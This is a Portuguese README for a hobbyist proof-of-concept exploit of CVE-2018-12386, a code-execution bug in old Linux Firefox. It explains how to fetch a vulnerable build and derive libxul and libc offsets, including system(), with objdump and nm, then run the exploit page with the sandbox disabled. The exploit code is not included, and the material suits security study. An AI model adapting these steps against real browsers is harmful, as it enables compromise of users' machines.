
CVE-2018-12386 - Exploit de RCE em Sandbox do Firefox para Linux (Firefox <v62.0.3)
Aqui está um exploit simples para a vulnerabilidade CVE-2018-12386 descoberta por Niklas Baumstark, Samuel Groß e Bruno Keith.
Isto é principalmente uma Prova de Conceito (PoC) que fiz por diversão, não há bypass de sandbox e só funcionará
em uma configuração Linux específica onde os offsets usados pelo exploit já são conhecidos
(eles podem ser alterados em exploit/offsets.js).
Este exploit funciona para versões anteriores ao Firefox 62.0.3 e Firefox ESR 60.2.2.
Você pode baixar versões anteriores do Firefox diretamente do servidor FTP da Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Você pode usar, por exemplo, a versão 62.0.2 para Linux 64 bits: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so OffsetsSe você estiver usando o Firefox 62.0.2, os offsets fornecidos em exploit/offsets.js
devem ser os corretos.
Para outras versões, uma maneira fácil de fazer isso é usar
a primitiva addrof para vazar o endereço da função JavaScript
Math.max, então encontrar o endereço base de libxul.so para a instância do
Firefox que você está explorando (com cat /proc/$(pidof firefox)/maps
por exemplo) e subtrair os dois para obter o offset libxul_math_max.
Se você estiver usando o Firefox 62.0.2, os offsets fornecidos em exploit/offsets.js
devem ser os corretos.
Para outras versões, uma maneira fácil de fazer isso é usar objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 e 5c0d968 são os valores que precisamos, ou seja, os offsets de memmove e
tolower em libxul.so.
libc.so.6 OffsetsEsses offsets dependem completamente da versão da libc que você usa.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Depois de ter o Firefox e os offsets corretos, você pode testar o exploit executando o seguinte comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Se quiser dizer oi: @lyte__